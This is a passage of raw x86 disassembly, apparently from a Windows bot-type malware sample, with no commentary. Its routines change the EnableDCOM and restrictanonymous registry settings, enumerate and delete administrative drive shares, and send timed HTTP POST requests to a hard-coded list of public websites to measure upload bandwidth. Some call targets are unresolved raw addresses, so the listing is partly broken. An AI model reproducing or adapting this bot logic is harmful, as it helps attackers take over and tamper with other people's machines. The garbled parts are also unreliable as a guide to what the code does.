ptr 26D0000h loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439958 push ebx push dword_4DB268 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi call near ptr 26D0000h nop loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_439928 push ebx push dword_4DB268 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26D0000h sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_433544 push esi call dword_4CB060 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB22C call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2700000h test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D158 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2650BA1h test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB228, eax mov eax, [ebp+var_8] mov dword_4DB230, eax mov eax, [ebp+var_2C] mov dword_4DB224, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB268, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB234 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_4399E4 call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43DEE8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi nop call near ptr 267009Ch cmp eax, esi mov dword_43DEF4[edi], eax jnz short loc_419E12 nop call near ptr 2670914h push eax lea eax, [ebp+var_378] push offset unk_4399B0 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 nop call near ptr 26D0000h sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB074, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB014 test eax, eax jnz short loc_419F04 mov ax, word_43875C mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAFC8 test eax, eax jz short loc_419EE6 push offset dword_439C80 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_439C60 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_439C30 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB014 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CAFC8 test eax, eax jz short loc_419F86 push offset dword_439BE0 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_439BAC loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_439B70 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_439B40 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB09C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CAEE8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_439A08 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_439B1C jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_439AF0 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset dword_439A28 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_439ACC jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_439AA0 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB034 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_439A78 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_439A48 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB074, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB014 test eax, eax jnz short loc_41A228 mov ax, word_4387A0 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAFC8 test eax, eax jz short loc_41A20A push offset dword_439DF8 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_439DDC loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_439C30 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB014 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CAFC8 test eax, eax jz short loc_41A2A6 push offset dword_439D9C jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_439D64 loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF80 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_439D28 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_439B40 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB09C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_439A08 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_439D08 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_439CE0 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_439A18 jb short loc_41A321 nop call near ptr 2840C98h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CB004 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_439D08 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_439CE0 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_439CB0 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_439A48 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 nop call near ptr 26808E8h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CAFA4 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CB024 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CAF4C cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_433854 ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB03C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB03C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_439E50 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26808E8h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB270 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26C05ECh test eax, eax jz short loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short loc_41A938 push 1 